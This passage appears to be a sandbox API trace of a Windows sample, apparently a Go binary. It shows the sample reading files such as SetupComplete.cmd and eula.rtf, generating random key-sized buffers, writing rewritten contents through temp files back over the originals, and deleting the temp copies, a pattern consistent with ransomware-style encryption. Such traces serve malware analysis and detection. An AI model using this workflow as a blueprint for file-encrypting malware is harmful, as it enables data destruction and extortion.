	[0278.006] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.011] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0278.012] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x4b) returned 0x0
	[0278.018] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0278.019] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.032] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.046] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x29) returned 0x0
	[0278.057] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.069] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x12) returned 0x0
	[0278.081] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.098] SetEvent (hEvent=0x1a0) returned 1
	[0278.098] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.103] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.112] SetEvent (hEvent=0xd4) returned 1
	[0278.113] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.122] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.129] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.149] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.152] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x6) returned 0x102
	[0278.164] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0278.164] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.165] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0278.165] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x99) returned 0x102
	[0278.321] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0278.321] SetEvent (hEvent=0x1a0) returned 1
	[0278.321] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.323] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0278.323] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x58) returned 0x102
	[0278.522] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0278.523] SetEvent (hEvent=0x190) returned 1
	[0278.523] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.580] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.754] SetEvent (hEvent=0x1a0) returned 1
	[0278.755] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.798] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.811] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.817] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.902] SetEvent (hEvent=0x17c) returned 1
	[0278.902] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.938] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.951] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.960] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0278.965] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0278.965] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x43) returned 0x0
	[0278.987] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0278.987] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.000] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.011] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.050] SetEvent (hEvent=0xd4) returned 1
	[0279.050] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.101] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.123] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.132] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.166] SetEvent (hEvent=0x190) returned 1
	[0279.166] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.191] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0279.191] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x62) returned 0x0
	[0279.207] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0279.207] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.230] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.250] SetEvent (hEvent=0xd4) returned 1
	[0279.250] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.267] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.314] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.362] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0279.362] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.384] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.559] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.600] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.643] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0279.858] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0280.328] SetEvent (hEvent=0x1a0) returned 1
	[0280.328] SetEvent (hEvent=0x188) returned 1
	[0280.328] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0280.532] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0280.609] SetEvent (hEvent=0x1a0) returned 1
	[0280.609] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0280.748] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0280.884] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0280.944] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0280.944] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0280.998] SetEvent (hEvent=0x1a0) returned 1
	[0280.998] SetEvent (hEvent=0xe4) returned 1
	[0280.998] SetEvent (hEvent=0xfc) returned 1
	[0280.998] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0281.028] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0281.028] SetEvent (hEvent=0xfc) returned 1
	[0281.028] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0281.155] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0281.525] SetEvent (hEvent=0x17c) returned 1
	[0281.525] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0281.594] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0281.743] SetEvent (hEvent=0x1a0) returned 1
	[0281.743] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) 

Thread:
	id = 64
	os_tid = 0xfc4

	[0226.568] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70703ffa50, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70703ffa50*=0xe0) returned 1
	[0226.568] VirtualQuery (in: lpAddress=0x70703ffa70, lpBuffer=0x70703ffa70, dwLength=0x30 | out: lpBuffer=0x70703ffa70*(BaseAddress=0x70703ff000, AllocationBase=0x7070200000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0226.568] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x192c65e0000
	[0226.569] VirtualAlloc (lpAddress=0xc000080000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000080000
	[0226.570] VirtualAlloc (lpAddress=0xc000082000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000082000
	[0226.570] VirtualAlloc (lpAddress=0xc000084000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000084000
	[0226.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc000080000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4
	[0226.571] CloseHandle (hObject=0xe4) returned 1
	[0226.571] SetEvent (hEvent=0xd4) returned 1
	[0226.571] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4
	[0226.571] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe8
	[0226.571] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0235.645] VirtualAlloc (lpAddress=0xc00023a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023a000
	[0235.646] VirtualAlloc (lpAddress=0xc00023c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023c000
	[0235.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00023a000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0235.647] CloseHandle (hObject=0x13c) returned 1
	[0235.647] WriteFile (in: hFile=0x0, lpBuffer=0xc000228060, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0) returned 0
	[0235.647] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x88, lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0) returned 0
	[0235.647] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x13c
	[0235.647] GetConsoleMode (in: hConsoleHandle=0x13c, lpMode=0xc000213bf4 | out: lpMode=0xc000213bf4) returned 0
	[0235.647] GetFileType (hFile=0x13c) returned 0x1
	[0235.648] GetFileType (hFile=0x13c) returned 0x1
	[0235.648] GetFileInformationByHandle (in: hFile=0x13c, lpFileInformation=0xc000213c44 | out: lpFileInformation=0xc000213c44) returned 1
	[0235.648] GetFileInformationByHandleEx (in: hFile=0x13c, FileInformationClass=0x9, lpFileInformation=0xc000213c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000213c28) returned 1
	[0235.648] VirtualAlloc (lpAddress=0xc00023e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023e000
	[0235.649] ReadFile (in: hFile=0x13c, lpBuffer=0xc00023e000, nNumberOfBytesToRead=0x433, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc00023e000*, lpNumberOfBytesRead=0xc000213b04*=0x233, lpOverlapped=0x0) returned 1
	[0235.652] ReadFile (in: hFile=0x13c, lpBuffer=0xc00023e233, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc00023e233*, lpNumberOfBytesRead=0xc000213b04*=0x0, lpOverlapped=0x0) returned 1
	[0235.652] CloseHandle (hObject=0x13c) returned 1
	[0235.652] VirtualAlloc (lpAddress=0xc000240000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000240000
	[0235.653] VirtualAlloc (lpAddress=0xc000242000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000242000
	[0235.654] VirtualAlloc (lpAddress=0xc000244000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000244000
	[0235.654] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202360 | out: pbBuffer=0xc000202360) returned 1
	[0235.655] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a280 | out: pbBuffer=0xc00021a280) returned 1
	[0235.655] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c101 | out: pbBuffer=0xc00023c101) returned 1
	[0235.655] VirtualAlloc (lpAddress=0xc000246000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000246000
	[0235.655] VirtualAlloc (lpAddress=0xc000248000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000248000
	[0235.656] VirtualAlloc (lpAddress=0xc00024a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00024a000
	[0235.656] VirtualAlloc (lpAddress=0xc00024c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00024c000
	[0235.657] VirtualAlloc (lpAddress=0xc00024e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00024e000
	[0235.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0235.829] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199c04 | out: lpMode=0xc000199c04) returned 0
	[0235.829] GetFileType (hFile=0x198) returned 0x1
	[0235.829] WriteFile (in: hFile=0x198, lpBuffer=0xc00024a700*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0xc000199bec, lpOverlapped=0x0 | out: lpBuffer=0xc00024a700*, lpNumberOfBytesWritten=0xc000199bec*=0x333, lpOverlapped=0x0) returned 1
	[0235.832] CloseHandle (hObject=0x198) returned 1
	[0235.835] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0235.837] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0235.837] GetFileType (hFile=0x198) returned 0x1
	[0235.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0235.838] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0235.838] GetFileType (hFile=0x19c) returned 0x1
	[0235.838] VirtualAlloc (lpAddress=0xc000250000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000250000
	[0235.887] ReadFile (in: hFile=0x19c, lpBuffer=0xc000250000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000250000*, lpNumberOfBytesRead=0xc000199bd4*=0x333, lpOverlapped=0x0) returned 1
	[0235.887] WriteFile (in: hFile=0x198, lpBuffer=0xc000250000*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0xc000199b74, lpOverlapped=0x0 | out: lpBuffer=0xc000250000*, lpNumberOfBytesWritten=0xc000199b74*=0x333, lpOverlapped=0x0) returned 1
	[0235.890] ReadFile (in: hFile=0x19c, lpBuffer=0xc000250000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000250000*, lpNumberOfBytesRead=0xc000199bd4*=0x0, lpOverlapped=0x0) returned 1
	[0235.890] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631")) returned 0
	[0235.890] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631")) returned 0
	[0235.890] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631")) returned 0x20
	[0235.890] CloseHandle (hObject=0x19c) returned 1
	[0235.891] CloseHandle (hObject=0x198) returned 1
	[0235.891] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631")) returned 1
	[0235.894] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0235.943] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0236.057] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0236.057] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0236.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0236.057] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000199bf4 | out: lpMode=0xc000199bf4) returned 0
	[0236.057] GetFileType (hFile=0x190) returned 0x1
	[0236.057] GetFileType (hFile=0x190) returned 0x1
	[0236.057] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc000199c44 | out: lpFileInformation=0xc000199c44) returned 1
	[0236.058] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc000199c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000199c28) returned 1
	[0236.058] VirtualAlloc (lpAddress=0xc000258000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000258000
	[0236.059] ReadFile (in: hFile=0x190, lpBuffer=0xc000258000, nNumberOfBytesToRead=0x118e, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc000258000*, lpNumberOfBytesRead=0xc000199b04*=0xf8e, lpOverlapped=0x0) returned 1
	[0236.061] ReadFile (in: hFile=0x190, lpBuffer=0xc000258f8e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc000258f8e*, lpNumberOfBytesRead=0xc000199b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.061] CloseHandle (hObject=0x190) returned 1
	[0236.062] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002024c0 | out: pbBuffer=0xc0002024c0) returned 1
	[0236.062] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a360 | out: pbBuffer=0xc00021a360) returned 1
	[0236.062] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c301 | out: pbBuffer=0xc00023c301) returned 1
	[0236.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0236.212] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc000199c04 | out: lpMode=0xc000199c04) returned 0
	[0236.212] GetFileType (hFile=0x174) returned 0x1
	[0236.212] WriteFile (in: hFile=0x174, lpBuffer=0xc000259300*, nNumberOfBytesToWrite=0x108e, lpNumberOfBytesWritten=0xc000199bec, lpOverlapped=0x0 | out: lpBuffer=0xc000259300*, lpNumberOfBytesWritten=0xc000199bec*=0x108e, lpOverlapped=0x0) returned 1
	[0236.216] CloseHandle (hObject=0x174) returned 1
	[0236.250] SetEvent (hEvent=0x124) returned 1
	[0236.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0236.252] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0236.253] GetFileType (hFile=0x174) returned 0x1
	[0236.253] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0236.253] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0236.253] GetFileType (hFile=0x190) returned 0x1
	[0236.253] VirtualAlloc (lpAddress=0xc0001e4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e4000
	[0236.254] ReadFile (in: hFile=0x190, lpBuffer=0xc0001e4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001e4000*, lpNumberOfBytesRead=0xc000199bd4*=0x108e, lpOverlapped=0x0) returned 1
	[0236.255] WriteFile (in: hFile=0x174, lpBuffer=0xc0001e4000*, nNumberOfBytesToWrite=0x108e, lpNumberOfBytesWritten=0xc000199b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001e4000*, lpNumberOfBytesWritten=0xc000199b74*=0x108e, lpOverlapped=0x0) returned 1
	[0236.257] ReadFile (in: hFile=0x190, lpBuffer=0xc0001e4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001e4000*, lpNumberOfBytesRead=0xc000199bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.257] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea")) returned 0
	[0236.257] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea")) returned 0
	[0236.257] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea")) returned 0x20
	[0236.257] CloseHandle (hObject=0x190) returned 1
	[0236.258] CloseHandle (hObject=0x174) returned 1
	[0236.258] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea")) returned 1
	[0236.315] SetEvent (hEvent=0xf0) returned 1
	[0236.315] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0236.315] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0236.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x174
	[0236.315] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc000199bf4 | out: lpMode=0xc000199bf4) returned 0
	[0236.316] GetFileType (hFile=0x174) returned 0x1
	[0236.316] GetFileType (hFile=0x174) returned 0x1
	[0236.316] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0xc000199c44 | out: lpFileInformation=0xc000199c44) returned 1
